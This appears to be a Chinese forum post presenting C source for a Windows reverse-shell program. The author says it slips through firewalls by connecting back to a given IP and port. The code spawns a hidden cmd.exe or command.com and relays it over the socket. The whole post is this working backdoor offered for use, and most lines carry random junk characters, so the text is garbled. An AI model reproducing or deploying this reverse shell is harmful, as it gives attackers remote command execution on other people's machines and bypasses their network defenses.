这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 ih75C"
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/* ============================== i~<.@&vt
Rebound port in Windows NT b rDyjh
By wind,2006/7 Ag(JSVY
===============================*/ *YQXxIIq
#include qn{9vr
#include Sc}Rs
#-"C_~-MH
#pragma comment(lib,"wsock32.lib") &h6 `hP_
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void OutputShell(); 0oi.k;
SOCKET sClient; A+\rGVNH'S
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; pD~."fb
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void main(int argc,char **argv) YF;2jl Nm
{ c5KciTD^
WSADATA stWsaData; `tKs|GQf
int nRet; s{Y-Vdx
SOCKADDR_IN stSaiClient,stSaiServer; 4QiV@#o:
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if(argc != 3) 2*n~r
{ mpIR: Im
printf("Useage:\n\rRebound DestIP DestPort\n"); l[WX77bp=
return; ?g*.7Wc
} Ck/w:i@>?
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WSAStartup(MAKEWORD(2,2),&stWsaData); 0Uk;&a0s
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 1^WkW\9kO
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stSaiClient.sin_family = AF_INET; Z)u_2e
stSaiClient.sin_port = htons(0); <]`|HJoy
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); !\Xrl) $j{
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) tjne[p
{ <fgf L9-
printf("Bind Socket Failed!\n"); g+4x
return; WE
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} ~sWXd~\
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stSaiServer.sin_family = AF_INET; >#.du}t
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 5'wFZ=>vMt
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); nIUts?mB
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) es$<Vkbp
{ Q$yQ^ mG
printf("Connect Error!"); `Q>qmf_Fi
return; @.QuIm8,
} iVM% ]\
OutputShell(); O&dh<
} Ff[GR$m
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void OutputShell() S'IQbHz*
{ j4(f1
char szBuff[1024]; `4qt mbj
SECURITY_ATTRIBUTES stSecurityAttributes; Bthp_cSmLs
OSVERSIONINFO stOsversionInfo; ?y~"\iP
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; a{kLAx[>
STARTUPINFO stStartupInfo; J@4 Z+l9
char *szShell; *Oh]I|?
PROCESS_INFORMATION stProcessInformation; M&rbXi.
unsigned long lBytesRead; *OY
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); >H]|R }h
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ;xu&%n[6@
stSecurityAttributes.lpSecurityDescriptor = 0; AIM<mU
stSecurityAttributes.bInheritHandle = TRUE; p,mKgL63
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); d!4:nvKx
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); h,i=Y+1
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); !<0 `c
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ^
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stStartupInfo.wShowWindow = SW_HIDE; uNvdlY]
stStartupInfo.hStdInput = hReadPipe; Cuom_+wV&
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; ,mE}#cyY
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GetVersionEx(&stOsversionInfo); W`jKe-jF
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switch(stOsversionInfo.dwPlatformId) +!-U+W
{ j<d,7
case 1: p3cb_
szShell = "command.com"; E
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break; 7$JE+gL/7
default: *#o2b-[V
szShell = "cmd.exe"; zIc_'Z,b
break; C ?aa)H
} V6^=[s R
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); )JA^FQ5N
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send(sClient,szMsg,77,0); >u?a#5R:m
while(1) 8 v<*xy
{ D'"l%p
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); dPF*G$
if(lBytesRead) srd\Mf_Ej
{ xHuw ?4
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); m=D9V-P
send(sClient,szBuff,lBytesRead,0); aj$&~-/
R
} M HKnHPv
else tx}=c5
{ tjcG^m} _
lBytesRead=recv(sClient,szBuff,1024,0); @8|i@S@4
if(lBytesRead<=0) break; L=kETJ:g
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); O|0,=
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} vH>s2\V"
} VI8/@A1Gv
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return; (Cbm*VL
}